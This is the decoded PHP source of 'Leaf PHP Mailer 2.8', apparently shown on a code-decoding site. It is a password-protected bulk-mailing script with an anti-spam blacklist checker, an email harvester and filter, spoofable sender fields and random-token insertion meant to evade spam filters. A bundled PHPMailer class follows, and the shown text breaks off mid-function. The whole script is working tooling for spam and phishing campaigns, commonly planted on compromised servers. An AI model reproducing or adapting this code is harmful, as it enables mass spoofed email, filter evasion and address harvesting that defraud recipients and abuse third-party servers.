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PHP Decode

<?php /** * Leaf PHP Mailer by [leafmailer.pw] * @version : 2.8 **/ $password = "..

Decoded Output download

<?php 
/** 
 * Leaf PHP Mailer by [leafmailer.pw] 
 * @version : 2.8 
**/ 
 
$password = "pxpxpx"; // Password  
 
 
 
session_start(); 
error_reporting(0); 
set_time_limit(0); 
ini_set("memory_limit",-1); 
 
$leaf['version']="2.8"; 
$leaf['website']="leafmailer.pw"; 
 
 
$sessioncode = md5(__FILE__); 
if(!empty($password) and $_SESSION[$sessioncode] != $password){ 
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) { 
        $_SESSION[$sessioncode] = $password; 
    } 
    else { 
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>"; 
        exit;         
    } 
} 
 
session_write_close(); 
 
 
function leafClear($text,$email){ 
	$e = explode('@', $email); 
	$emailuser=$e[0]; 
	$emaildomain=$e[1]; 
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text); 
    $text = str_replace("[-email-]", $email, $text); 
    $text = str_replace("[-emailuser-]", $emailuser, $text); 
    $text = str_replace("[-emaildomain-]", $emaildomain, $text); 
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text); 
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text); 
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text); 
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text); 
    return $text;   
} 
function leafTrim($string){ 
	$string=urldecode($string); 
    return stripslashes(trim($string)); 
} 
function randString($consonants) { 
    $length=rand(12,25); 
    $password = ''; 
    for ($i = 0; $i < $length; $i++) { 
            $password .= $consonants[(rand() % strlen($consonants))]; 
    } 
    return $password; 
} 
function leafMailCheck($email){ 
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true; 
    else return false; 
} 
# Bulit-in BlackList Checker  
if(isset($_GET['check_ip'])){ 
    if (isset($_GET['host'])){ 
        $_GET['host']=explode(",", $_GET['host']); 
        foreach ($_GET['host'] as $host) { 
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>"; 
            else $check= "<font color='green'> Clean</font>"; 
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";'; 
        } 
 
        exit; 
    } 
    $dnsbl_lookup = [ 
        "all.s5h.net", 
        "b.barracudacentral.org", 
        "bl.spamcop.net", 
        "blacklist.woody.ch", 
        "bogons.cymru.com", 
        "cbl.abuseat.org", 
        "cdl.anti-spam.org.cn", 
        "combined.abuse.ch", 
        "db.wpbl.info", 
        "dnsbl-1.uceprotect.net", 
        "dnsbl-2.uceprotect.net", 
        "dnsbl-3.uceprotect.net", 
        "dnsbl.anticaptcha.net", 
        "dnsbl.dronebl.org", 
        "dnsbl.inps.de", 
        "dnsbl.sorbs.net", 
        "drone.abuse.ch", 
        "duinv.aupads.org", 
        "dul.dnsbl.sorbs.net", 
        "dyna.spamrats.com", 
        "dynip.rothen.com", 
        "http.dnsbl.sorbs.net", 
        "ips.backscatterer.org", 
        "ix.dnsbl.manitu.net", 
        "korea.services.net", 
        "misc.dnsbl.sorbs.net", 
        "noptr.spamrats.com", 
        "orvedb.aupads.org", 
        "pbl.spamhaus.org", 
        "proxy.bl.gweep.ca", 
        "psbl.surriel.com", 
        "relays.bl.gweep.ca", 
        "relays.nether.net", 
        "sbl.spamhaus.org", 
        "short.rbl.jp", 
        "singular.ttk.pte.hu", 
        "smtp.dnsbl.sorbs.net", 
        "socks.dnsbl.sorbs.net", 
        "spam.abuse.ch", 
        "spam.dnsbl.anonmails.de", 
        "spam.dnsbl.sorbs.net", 
        "spam.spamrats.com", 
        "spambot.bls.digibase.ca", 
        "spamrbl.imp.ch", 
        "spamsources.fabel.dk", 
        "ubl.lashback.com", 
        "ubl.unsubscore.com", 
        "virus.rbl.jp", 
        "web.dnsbl.sorbs.net", 
        "wormrbl.imp.ch", 
        "xbl.spamhaus.org", 
        "z.mailspike.net", 
        "zen.spamhaus.org", 
        "zombie.dnsbl.sorbs.net", 
    ]; 
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip']))); 
    $dnsT = count($dnsbl_lookup); 
    leafheader(); 
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>'; 
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>"; 
    $dnsN=""; 
    print '<table >'; 
    for ($i=0; $i < $dnsT; $i=$i+10) {  
        $host=""; 
        $hosts=""; 
        for($j=$i; $j<$i+10;$j++){ 
            $host=$dnsbl_lookup[$j]; 
            if(!empty($host)){ 
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>"; 
                $hosts .="$host,"; 
            } 
        } 
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>"; 
    } 
 
    print '</table></div>'; 
    print $dnsN; 
    exit; 
} 
if(isset($_GET['emailfilter'])){ 
 
    if(!empty($_FILES['fileToUpload']['tmp_name'])){ 
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]);  
    } 
    $_POST['emailList']=strtolower($_POST['emailList']); 
   if($_GET['emailfilter']=="ifram"){ 
        if ($_POST['resulttype'] == "download"){ 
            header("Content-Description: File Transfer");  
            header("Content-Type: application/octet-stream");  
            header("Content-Disposition: attachment; filename=emails".time().".txt"); 
        } 
        else { 
            header("Content-Type: text/plain"); 
        } 
    if($_POST['submit']=="extract"){ 
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/'; 
        preg_match_all($pattern, $_POST['emailList'], $matches); 
        foreach ($matches[0] as $email) { 
            print $email."
"; 
        } 
    } 
    elseif ($_POST['submit']=="filter") { 
        $emails=explode("
", $_POST['emailList']); 
        $keywords=explode("
", strtolower($_POST['keywords'])); 
        foreach ($emails as $email) { 
            foreach ($keywords as $keyword ) { 
                if(strstr($email, $keyword) ){ 
                    print $email."
"; 
                     break; 
                } 
                
            } 
        } 
 
    } 
    exit; 
   } 
   leafheader(); 
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>'; 
   print ' 
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'> 
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload">  
        or 
 
        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea> 
      <div class="col-lg-12"> 
        <div class="radio"> 
          <label> 
            <input type="radio" name="resulttype" id="resulttype" value="here" checked=""> 
            Show Result in this page 
          </label> 
        </div> 
        <div class="radio"> 
          <label> 
            <input type="radio" name="resulttype" id="resulttype" value="download"> 
            Download Result (for big numbers) 
          </label> 
        </div> 
      </div> 
            <legend><h4>Extract Email</h4></legend> 
            Detecting every email (100%) and order them line by line <br><br> 
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button> 
            <legend><h4>Filter Emails</h4></legend> 
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com 
hotmail.com 
yahoo.com 
.co.uk</textarea><br> 
 
            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button> 
    </form> 
    <label >Result </label> 
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe> 
   '; 
   exit; 
 
} 
$html="checked"; 
$utf8="selected"; 
$bit8="selected"; 
 
if($_POST['action']=="send" or $_POST['action']=="score"){ 
 
    $senderEmail=leafTrim($_POST['senderEmail']); 
    $senderName=leafTrim($_POST['senderName']); 
    $replyTo=leafTrim($_POST['replyTo']); 
    $subject=leafTrim($_POST['subject']); 
    $emailList=leafTrim($_POST['emailList']); 
    $messageType=leafTrim($_POST['messageType']); 
    $messageLetter=leafTrim($_POST['messageLetter']); 
    $encoding = $_POST['encode']; 
    $charset = $_POST['charset']; 
    $html=""; 
    $utf8=""; 
    $bit8=""; 
 
    if($messageType==2) $plain="checked"; 
    else $html="checked"; 
 
    if($charset=="ISO-8859-1") $iso="selected"; 
    else $utf8="selected"; 
 
    if($encoding=="7bit") $bit7="selected"; 
    elseif($encoding=="binary") $binary="selected"; 
    elseif($encoding=="base64") $base64="selected"; 
    elseif($encoding=="quoted-printable") $quotedprintable="selected"; 
    else $bit8="selected"; 
 
 
 
} 
if($_POST['action']=="view"){ 
	$viewMessage=leafTrim($_POST['messageLetter']); 
	$viewMessage=leafClear($viewMessage,"[email protected]"); 
	if ($_POST['messageType']==2){ 
		print "<pre>".htmlspecialchars($viewMessage)."</pre>"; 
	} 
	else { 
		print $viewMessage; 
	} 
	exit; 
} 
 
 
 
if(!isset($_POST['senderEmail'])){ 
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']); 
    if (!leafMailCheck($senderEmail)) $senderEmail=""; 
} 
 
class PHPMailer 
{ 
    /** 
     * The PHPMailer Version number. 
     * @var string 
     */ 
    public $Version = '5.2.28'; 
 
    /** 
     * Email priority. 
     * Options: null (default), 1 = High, 3 = Normal, 5 = low. 
     * When null, the header is not set at all. 
     * @var integer 
     */ 
    public $Priority = null; 
 
    /** 
     * The character set of the message. 
     * @var string 
     */ 
    public $CharSet = 'iso-8859-1'; 
 
    /** 
     * The MIME Content-type of the message. 
     * @var string 
     */ 
    public $ContentType = 'text/plain'; 
 
    /** 
     * The message encoding. 
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable". 
     * @var string 
     */ 
    public $Encoding = '8bit'; 
 
    /** 
     * Holds the most recent mailer error message. 
     * @var string 
     */ 
    public $ErrorInfo = ''; 
 
    /** 
     * The From email address for the message. 
     * @var string 
     */ 
    public $From = 'root@localhost'; 
 
    /** 
     * The From name of the message. 
     * @var string 
     */ 
    public $FromName = 'Root User'; 
 
    /** 
     * The Sender email (Return-Path) of the message. 
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode. 
     * @var string 
     */ 
    public $Sender = ''; 
 
    /** 
     * The Return-Path of the message. 
     * If empty, it will be set to either From or Sender. 
     * @var string 
     * @deprecated Email senders should never set a return-path header; 
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything. 
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference 
     */ 
    public $ReturnPath = ''; 
 
    /** 
     * The Subject of the message. 
     * @var string 
     */ 
    public $Subject = ''; 
 
    /** 
     * An HTML or plain text message body. 
     * If HTML then call isHTML(true). 
     * @var string 
     */ 
    public $Body = ''; 
 
    /** 
     * The plain-text message body. 
     * This body can be read by mail clients that do not have HTML email 
     * capability such as mutt & Eudora. 
     * Clients that can read HTML will view the normal Body. 
     * @var string 
     */ 
    public $AltBody = ''; 
 
    /** 
     * An iCal message part body. 
     * Only supported in simple alt or alt_inline message types 
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator 
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/ 
     * @link http://kigkonsult.se/iCalcreator/ 
     * @var string 
     */ 
    public $Ical = ''; 
 
    /** 
     * The complete compiled MIME message body. 
     * @access protected 
     * @var string 
     */ 
    protected $MIMEBody = ''; 
 
    /** 
     * The complete compiled MIME message headers. 
     * @var string 
     * @access protected 
     */ 
    protected $MIMEHeader = ''; 
 
    /** 
     * Extra headers that createHeader() doesn't fold in. 
     * @var string 
     * @access protected 
     */ 
    protected $mailHeader = ''; 
 
    /** 
     * Word-wrap the message body to this number of chars. 
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance. 
     * @var integer 
     */ 
    public $WordWrap = 0; 
 
    /** 
     * Which method to use to send mail. 
     * Options: "mail", "sendmail", or "smtp". 
     * @var string 
     */ 
    public $Mailer = 'mail'; 
 
    /** 
     * The path to the sendmail program. 
     * @var string 
     */ 
    public $Sendmail = '/usr/sbin/sendmail'; 
 
    /** 
     * Whether mail() uses a fully sendmail-compatible MTA. 
     * One which supports sendmail's "-oi -f" options. 
     * @var boolean 
     */ 
    public $UseSendmailOptions = true; 
 
    /** 
     * Path to PHPMailer plugins. 
     * Useful if the SMTP class is not in the PHP include path. 
     * @var string 
     * @deprecated Should not be needed now there is an autoloader. 
     */ 
    public $PluginDir = ''; 
 
    /** 
     * The email address that a reading confirmation should be sent to, also known as read receipt. 
     * @var string 
     */ 
    public $ConfirmReadingTo = ''; 
 
    /** 
     * The hostname to use in the Message-ID header and as default HELO string. 
     * If empty, PHPMailer attempts to find one with, in order, 
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value 
     * 'localhost.localdomain'. 
     * @var string 
     */ 
    public $Hostname = ''; 
 
    /** 
     * An ID to be used in the Message-ID header. 
     * If empty, a unique id will be generated. 
     * You can set your own, but it must be in the format "<id@domain>", 
     * as defined in RFC5322 section 3.6.4 or it will be ignored. 
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4 
     * @var string 
     */ 
    public $MessageID = ''; 
 
    /** 
     * The message Date to be used in the Date header. 
     * If empty, the current date will be added. 
     * @var string 
     */ 
    public $MessageDate = ''; 
 
    /** 
     * SMTP hosts. 
     * Either a single hostname or multiple semicolon-delimited hostnames. 
     * You can also specify a different port 
     * for each host by using this format: [hostname:port] 
     * (e.g. "smtp1.example.com:25;smtp2.example.com"). 
     * You can also specify encryption type, for example: 
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465"). 
     * Hosts will be tried in order. 
     * @var string 
     */ 
    public $Host = 'localhost'; 
 
    /** 
     * The default SMTP server port. 
     * @var integer 
     * @TODO Why is this needed when the SMTP class takes care of it? 
     */ 
    public $Port = 25; 
 
    /** 
     * The SMTP HELO of the message. 
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find 
     * one with the same method described above for $Hostname. 
     * @var string 
     * @see PHPMailer::$Hostname 
     */ 
    public $Helo = ''; 
 
    /** 
     * What kind of encryption to use on the SMTP connection. 
     * Options: '', 'ssl' or 'tls' 
     * @var string 
     */ 
    public $SMTPSecure = ''; 
 
    /** 
     * Whether to enable TLS encryption automatically if a server supports it, 
     * even if `SMTPSecure` is not set to 'tls'. 
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid. 
     * @var boolean 
     */ 
    public $SMTPAutoTLS = true; 
 
    /** 
     * Whether to use SMTP authentication. 
     * Uses the Username and Password properties. 
     * @var boolean 
     * @see PHPMailer::$Username 
     * @see PHPMailer::$Password 
     */ 
    public $SMTPAuth = false; 
 
    /** 
     * Options array passed to stream_context_create when connecting via SMTP. 
     * @var array 
     */ 
    public $SMTPOptions = array(); 
 
    /** 
     * SMTP username. 
     * @var string 
     */ 
    public $Username = ''; 
 
    /** 
     * SMTP password. 
     * @var string 
     */ 
    public $Password = ''; 
 
    /** 
     * SMTP auth type. 
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified 
     * @var string 
     */ 
    public $AuthType = ''; 
 
    /** 
     * SMTP realm. 
     * Used for NTLM auth 
     * @var string 
     */ 
    public $Realm = ''; 
 
    /** 
     * SMTP workstation. 
     * Used for NTLM auth 
     * @var string 
     */ 
    public $Workstation = ''; 
 
    /** 
     * The SMTP server timeout in seconds. 
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2 
     * @var integer 
     */ 
    public $Timeout = 300; 
 
    /** 
     * SMTP class debug output mode. 
     * Debug output level. 
     * Options: 
     * * `0` No output 
     * * `1` Commands 
     * * `2` Data and commands 
     * * `3` As 2 plus connection status 
     * * `4` Low-level data output 
     * @var integer 
     * @see SMTP::$do_debug 
     */ 
    public $SMTPDebug = 0; 
 
    /** 
     * How to handle debug output. 
     * Options: 
     * * `echo` Output plain-text as-is, appropriate for CLI 
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output 
     * * `error_log` Output to error log as configured in php.ini 
     * 
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level: 
     * <code> 
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";}; 
     * </code> 
     * @var string|callable 
     * @see SMTP::$Debugoutput 
     */ 
    public $Debugoutput = 'echo'; 
 
    /** 
     * Whether to keep SMTP connection open after each message. 
     * If this is set to true then to close the connection 
     * requires an explicit call to smtpClose(). 
     * @var boolean 
     */ 
    public $SMTPKeepAlive = false; 
 
    /** 
     * Whether to split multiple to addresses into multiple messages 
     * or send them all in one message. 
     * Only supported in `mail` and `sendmail` transports, not in SMTP. 
     * @var boolean 
     */ 
    public $SingleTo = false; 
 
    /** 
     * Storage for addresses when SingleTo is enabled. 
     * @var array 
     * @TODO This should really not be public 
     */ 
    public $SingleToArray = array(); 
 
    /** 
     * Whether to generate VERP addresses on send. 
     * Only applicable when sending via SMTP. 
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path 
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info 
     * @var boolean 
     */ 
    public $do_verp = false; 
 
    /** 
     * Whether to allow sending messages with an empty body. 
     * @var boolean 
     */ 
    public $AllowEmpty = false; 
 
    /** 
     * The default line ending. 
     * @note The default remains "
". We force CRLF where we know 
     *        it must be used via self::CRLF. 
     * @var string 
     */ 
    public $LE = "
"; 
 
    /** 
     * DKIM selector. 
     * @var string 
     */ 
    public $DKIM_selector = ''; 
 
    /** 
     * DKIM Identity. 
     * Usually the email address used as the source of the email. 
     * @var string 
     */ 
    public $DKIM_identity = ''; 
 
    /** 
     * DKIM passphrase. 
     * Used if your key is encrypted. 
     * @var string 
     */ 
    public $DKIM_passphrase = ''; 
 
    /** 
     * DKIM signing domain name. 
     * @example 'example.com' 
     * @var string 
     */ 
    public $DKIM_domain = ''; 
 
    /** 
     * DKIM private key file path. 
     * @var string 
     */ 
    public $DKIM_private = ''; 
 
    /** 
     * DKIM private key string. 
     * If set, takes precedence over `$DKIM_private`. 
     * @var string 
     */ 
    public $DKIM_private_string = ''; 
 
    /** 
     * Callback Action function name. 
     * 
     * The function that handles the result of the send email action. 
     * It is called out by send() for each email sent. 
     * 
     * Value can be any php callable: http://www.php.net/is_callable 
     * 
     * Parameters: 
     *   boolean $result        result of the send action 
     *   array   $to            email addresses of the recipients 
     *   array   $cc            cc email addresses 
     *   array   $bcc           bcc email addresses 
     *   string  $subject       the subject 
     *   string  $body          the email body 
     *   string  $from          email address of sender 
     * @var string 
     */ 
    public $action_function = ''; 
 
    /** 
     * What to put in the X-Mailer header. 
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use 
     * @var string 
     */ 
    public $XMailer = ' '; 
 
    /** 
     * Which validator to use by default when validating email addresses. 
     * May be a callable to inject your own validator, but there are several built-in validators. 
     * @see PHPMailer::validateAddress() 
     * @var string|callable 
     * @static 
     */ 
    public static $validator = 'auto'; 
 
    /** 
     * An instance of the SMTP sender class. 
     * @var SMTP 
     * @access protected 
     */ 
    protected $smtp = null; 
 
    /** 
     * The array of 'to' names and addresses. 
     * @var array 
     * @access protected 
     */ 
    protected $to = array(); 
 
    /** 
     * The array of 'cc' names and addresses. 
     * @var array 
     * @access protected 
     */ 
    protected $cc = array(); 
 
    /** 
     * The array of 'bcc' names and addresses. 
     * @var array 
     * @access protected 
     */ 
    protected $bcc = array(); 
 
    /** 
     * The array of reply-to names and addresses. 
     * @var array 
     * @access protected 
     */ 
    protected $ReplyTo = array(); 
 
    /** 
     * An array of all kinds of addresses. 
     * Includes all of $to, $cc, $bcc 
     * @var array 
     * @access protected 
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc 
     */ 
    protected $all_recipients = array(); 
 
    /** 
     * An array of names and addresses queued for validation. 
     * In send(), valid and non duplicate entries are moved to $all_recipients 
     * and one of $to, $cc, or $bcc. 
     * This array is used only for addresses with IDN. 
     * @var array 
     * @access protected 
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc 
     * @see PHPMailer::$all_recipients 
     */ 
    protected $RecipientsQueue = array(); 
 
    /** 
     * An array of reply-to names and addresses queued for validation. 
     * In send(), valid and non duplicate entries are moved to $ReplyTo. 
     * This array is used only for addresses with IDN. 
     * @var array 
     * @access protected 
     * @see PHPMailer::$ReplyTo 
     */ 
    protected $ReplyToQueue = array(); 
 
    /** 
     * The array of attachments. 
     * @var array 
     * @access protected 
     */ 
    protected $attachment = array(); 
 
    /** 
     * The array of custom headers. 
     * @var array 
     * @access protected 
     */ 
    protected $CustomHeader = array(); 
 
    /** 
     * The most recent Message-ID (including angular brackets). 
     * @var string 
     * @access protected 
     */ 
    protected $lastMessageID = ''; 
 
    /** 
     * The message's MIME type. 
     * @var string 
     * @access protected 
     */ 
    protected $message_type = ''; 
 
    /** 
     * The array of MIME boundary strings. 
     * @var array 
     * @access protected 
     */ 
    protected $boundary = array(); 
 
    /** 
     * The array of available languages. 
     * @var array 
     * @access protected 
     */ 
    protected $language = array(); 
 
    /** 
     * The number of errors encountered. 
     * @var integer 
     * @access protected 
     */ 
    protected $error_count = 0; 
 
    /** 
     * The S/MIME certificate file path. 
     * @var string 
     * @access protected 
     */ 
    protected $sign_cert_file = ''; 
 
    /** 
     * The S/MIME key file path. 
     * @var string 
     * @access protected 
     */ 
    protected $sign_key_file = ''; 
 
    /** 
     * The optional S/MIME extra certificates ("CA Chain") file path. 
     * @var string 
     * @access protected 
     */ 
    protected $sign_extracerts_file = ''; 
 
    /** 
     * The S/MIME password for the key. 
     * Used only if the key is encrypted. 
     * @var string 
     * @access protected 
     */ 
    protected $sign_key_pass = ''; 
 
    /** 
     * Whether to throw exceptions for errors. 
     * @var boolean 
     * @access protected 
     */ 
    protected $exceptions = false; 
 
    /** 
     * Unique ID used for message ID and boundaries. 
     * @var string 
     * @access protected 
     */ 
    protected $uniqueid = ''; 
 
    /** 
     * Error severity: message only, continue processing. 
     */ 
    const STOP_MESSAGE = 0; 
 
    /** 
     * Error severity: message, likely ok to continue processing. 
     */ 
    const STOP_CONTINUE = 1; 
 
    /** 
     * Error severity: message, plus full stop, critical error reached. 
     */ 
    const STOP_CRITICAL = 2; 
 
    /** 
     * SMTP RFC standard line ending. 
     */ 
    const CRLF = "
"; 
 
    /** 
     * The maximum line length allowed by RFC 2822 section 2.1.1 
     * @var integer 
     */ 
    const MAX_LINE_LENGTH = 998; 
 
    /** 
     * Constructor. 
     * @param boolean $exceptions Should we throw external exceptions? 
     */ 
    public function __construct($exceptions = null) 
    { 
        if ($exceptions !== null) { 
            $this->exceptions = (boolean)$exceptions; 
        } 
        //Pick an appropriate debug output format automatically 
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); 
    } 
 
    /** 
     * Destructor. 
     */ 
    public function __destruct() 
    { 
        //Close any open SMTP connection nicely 
        $this->smtpClose(); 
    } 
 
    /** 
     * Call mail() in a safe_mode-aware fashion. 
     * Also, unless sendmail_path points to sendmail (or something that 
     * claims to be sendmail), don't pass params (not a perfect fix, 
     * but it will do) 
     * @param string $to To 
     * @param string $subject Subject 
     * @param string $body Message Body 
     * @param string $header Additional Header(s) 
     * @param string $params Params 
     * @access private 
     * @return boolean 
     */ 
    private function mailPassthru($to, $subject, $body, $header, $params) 
    { 
        //Check overloading of mail function to avoid double-encoding 
        if (ini_get('mbstring.func_overload') & 1) { 
            $subject = $this->secureHeader($subject); 
        } else { 
            $subject = $this->encodeHeader($this->secureHeader($subject)); 
        } 
 
        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks 
        //@link http://php.net/manual/en/function.mail.php 
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) { 
            $result = @mail($to, $subject, $body, $header); 
        } else { 
            $result = @mail($to, $subject, $body, $header, $params); 
        } 
        return $result; 
    } 
    /** 
     * Output debugging info via user-defined method. 
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug). 
     * @see PHPMailer::$Debugoutput 
     * @see PHPMailer::$SMTPDebug 
     * @param string $str 
     */ 
    protected function edebug($str) 
    { 
        if ($this->SMTPDebug <= 0) { 
            return; 
        } 
        //Avoid clash with built-in function names 
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) { 
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug); 
            return; 
        } 
        switch ($this->Debugoutput) { 
            case 'error_log': 
                //Don't output, just log 
                error_log($str); 
                break; 
            case 'html': 
                //Cleans up output a bit for a better looking, HTML-safe output 
                echo htmlentities( 
                    preg_replace('/[
]+/', '', $str), 
                    ENT_QUOTES, 
                    'UTF-8' 
                ) 
                . "<br>
"; 
                break; 
            case 'echo': 
            default: 
                //Normalize line breaks 
                $str = preg_replace('/
?/ms', "
", $str); 
                echo gmdate('Y-m-d H:i:s') . "	" . str_replace( 
                    "
", 
                    "
                   	                  ", 
                    trim($str) 
                ) . "
"; 
        } 
    } 
 
    /** 
     * Send messages using SMTP. 
     * @return void 
     */ 
    public function isSMTP() 
    { 
        $this->Mailer = 'smtp'; 
    } 
 
    /** 
     * Send messages using PHP's mail() function. 
     * @return void 
     */ 
    public function isMail() 
    { 
        $this->Mailer = 'mail'; 
    } 
 
    /** 
     * Send messages using $Sendmail. 
     * @return void 
     */ 
    public function isSendmail() 
    { 
        $ini_sendmail_path = ini_get('sendmail_path'); 
 
        if (!stristr($ini_sendmail_path, 'sendmail')) { 
            $this->Sendmail = '/usr/sbin/sendmail'; 
        } else { 
            $this->Sendmail = $ini_sendmail_path; 
        } 
        $this->Mailer = 'sendmail'; 
    } 
 
    /** 
     * Send messages using qmail. 
     * @return void 
     */ 
    public function isQmail() 
    { 
        $ini_sendmail_path = ini_get('sendmail_path'); 
 
        if (!stristr($ini_sendmail_path, 'qmail')) { 
            $this->Sendmail = '/var/qmail/bin/qmail-inject'; 
        } else { 
            $this->Sendmail = $ini_sendmail_path; 
        } 
        $this->Mailer = 'qmail'; 
    } 
 
    /** 
     * Add a "To" address. 
     * @param string $address The email address to send to 
     * @param string $name 
     * @return boolean true on success, false if address already used or invalid in some way 
     */ 
    public function addAddress($address, $name = '') 
    { 
        return $this->addOrEnqueueAnAddress('to', $address, $name); 
    } 
 
    /** 
     * Add a "CC" address. 
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer. 
     * @param string $address The email address to send to 
     * @param string $name 
     * @return boolean true on success, false if address already used or invalid in some way 
     */ 
    public function addCC($address, $name = '') 
    { 
        return $this->addOrEnqueueAnAddress('cc', $address, $name); 
    } 
 
    /** 
     * Add a "BCC" address. 
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer. 
     * @param string $address The email address to send to 
     * @param string $name 
     * @return boolean true on success, false if address already used or invalid in some way 
     */ 
    public function addBCC($address, $name = '') 
    { 
        return $this->addOrEnqueueAnAddress('bcc', $address, $name); 
    } 
 
    /** 
     * Add a "Reply-To" address. 
     * @param string $address The email address to reply to 
     * @param string $name 
     * @return boolean true on success, false if address already used or invalid in some way 
     */ 
    public function addReplyTo($address, $name = '') 
    { 
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); 
    } 
 
    /** 
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer 
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still 
     * be modified after calling this function), addition of such addresses is delayed until send(). 
     * Addresses that have been added already return false, but do not throw exceptions. 
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' 
     * @param string $address The email address to send, resp. to reply to 
     * @param string $name 
     * @throws phpmailerException 
     * @return boolean true on success, false if address already used or invalid in some way 
     * @access protected 
     */ 
    protected function addOrEnqueueAnAddress($kind, $address, $name) 
    { 
        $address = trim($address); 
        $name = trim(preg_replace('/[
]+/', '', $name)); //Strip breaks and trim 
        if (($pos = strrpos($address, '@')) === false) { 
            // At-sign is misssing. 
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; 
            $this->setError($error_message); 
            $this->edebug($error_message); 
            if ($this->exceptions) { 
                throw new phpmailerException($error_message); 
            } 
            return false; 
        } 
        $params = array($kind, $address, $name); 
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet. 
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) { 
            if ($kind != 'Reply-To') { 
                if (!array_key_exists($address, $this->RecipientsQueue)) { 
                    $this->RecipientsQueue[$address] = $params; 
                    return true; 
                } 
            } else { 
                if (!array_key_exists($address, $this->ReplyToQueue)) { 
                    $this->ReplyToQueue[$address] = $params; 
                    return true; 
                } 
            } 
            return false; 
        } 
        // Immediately add standard addresses without IDN. 
        return call_user_func_array(array($this, 'addAnAddress'), $params); 
    } 
 
    /** 
     * Add an address to one of the recipient arrays or to the ReplyTo array. 
     * Addresses that have been added already return false, but do not throw exceptions. 
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' 
     * @param string $address The email address to send, resp. to reply to 
     * @param string $name 
     * @throws phpmailerException 
     * @return boolean true on success, false if address already used or invalid in some way 
     * @access protected 
     */ 
    protected function addAnAddress($kind, $address, $name = '') 
    { 
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) { 
            $error_message = $this->lang('Invalid recipient kind: ') . $kind; 
            $this->setError($error_message); 
            $this->edebug($error_message); 
            if ($this->exceptions) { 
                throw new phpmailerException($error_message); 
            } 
            return false; 
        } 
        if (!$this->validateAddress($address)) { 
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address"; 
            $this->setError($error_message); 
